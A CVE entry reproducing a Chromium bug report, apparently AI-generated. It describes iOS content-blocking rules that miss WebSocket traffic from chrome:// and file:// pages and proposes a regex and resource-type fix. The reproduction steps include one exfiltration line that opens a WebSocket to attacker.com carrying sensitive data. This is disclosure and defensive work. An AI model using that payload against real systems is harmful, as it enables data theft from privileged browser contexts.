CVE-2026-113043
Overview
Fix not yet public
Original Bug Report
WKContentRuleList fails to block WebSockets from privileged pages on iOS
Flapjack, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The CreateLocalBlockingJsonRuleList function on iOS uses an incomplete regex and resource-type list that fails to capture WebSocket connections (ws:// and wss://). Because CSP is currently disabled for WebUI on iOS, this allows an attacker with code execution in privileged contexts like chrome:// and file:// to open WebSockets to external servers, bypassing intended network isolation.
Affected files:
ios/web/web_state/ui/wk_content_rule_list_util.mm
Estimated timestamp from git blame: 2021-01-27
Overview
The CreateLocalBlockingJsonRuleList function in ios/web/web_state/ui/wk_content_rule_list_util.mm is responsible for generating a WebKit Content Rule List (WKContentRuleList) that prevents privileged pages (such as chrome:// WebUI and local file:// pages) from making external network requests. This is a critical defense-in-depth measure, particularly because Content Security Policy (CSP) headers are currently disabled for WebUI requests on iOS (job->set_add_content_security_policy(false) in ios/web/webui/url_data_manager_ios_backend.mm).
However, the current implementation of this block list fails to include WebSockets. Specifically:
- The
url-filterregex^https?://.*(line 25) only matches HTTP and HTTPS schemes, failing to matchws://andwss://schemes. - The
resource-typearray (lines 31-32) does not include thewebsockettype. WebKit content blockers have supported thewebsocketresource type since iOS 14.5.
Potential Impact
If an attacker achieves arbitrary JavaScript execution within a privileged context—for example, via an XSS vulnerability in a chrome:// page or by convincing a user to open a malicious local HTML file—they can bypass the intended network isolation. While standard fetch or XMLHttpRequest requests are blocked by the rule list (and often restricted by SOP), the attacker can successfully establish a WebSocket connection to an external, attacker-controlled server to exfiltrate sensitive data or receive further payloads.
Potential Steps to Reproduce
(Note: These are theoretical steps based on source code analysis. Our tooling agent does not yet have the ability to run code.)
- An attacker discovers an XSS vulnerability in an iOS WebUI page (e.g.,
chrome://version). - The attacker executes a payload containing:
let ws = new WebSocket('wss://attacker.com/leak?data=' + sensitiveData); - The underlying
WKWebViewevaluates the outbound request against the activeWKContentRuleList. - Because the top-level URL matches the
if-top-urlrule (^chrome://.*), the rule’s conditions are evaluated. - The request fails to match both the
url-filter(^https?://.*) and theresource-type(which lackswebsocket). - The
blockaction is bypassed. - Because there is no CSP
connect-srcdirective enforced byurl_data_manager_ios_backend.mm, the WebSocket connection succeeds, and data is exfiltrated.
Suggested Fix
Update CreateLocalBlockingJsonRuleList in ios/web/web_state/ui/wk_content_rule_list_util.mm to include WebSockets in the blocking rule:
- Modify the
url-filterto match both HTTP(S) and WS(S) schemes:"^(https?|wss?)://.*" - Add
"websocket"to theresource-typearray.
NSDictionary* local_block = @{
@"trigger" : @{
@"url-filter" : @"^(https?|wss?)://.*",
@"if-top-url" : local_schemes_urls,
@"resource-type" : @[
// These should be all resource types except document.
// "document" cannot be blocked because it breaks error pages displayed
// when a WebStatePolicyDecider blocks a navigation.
@"image", @"style-sheet", @"script", @"font", @"raw", @"svg-document",
@"media", @"popup", @"ping", @"websocket"
],
},
@"action" : @{
@"type" : @"block",
},
};
Evaluated with Chrome root at commit: 2155cb00003ec35716a76ed3246eae995f87b7ff
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.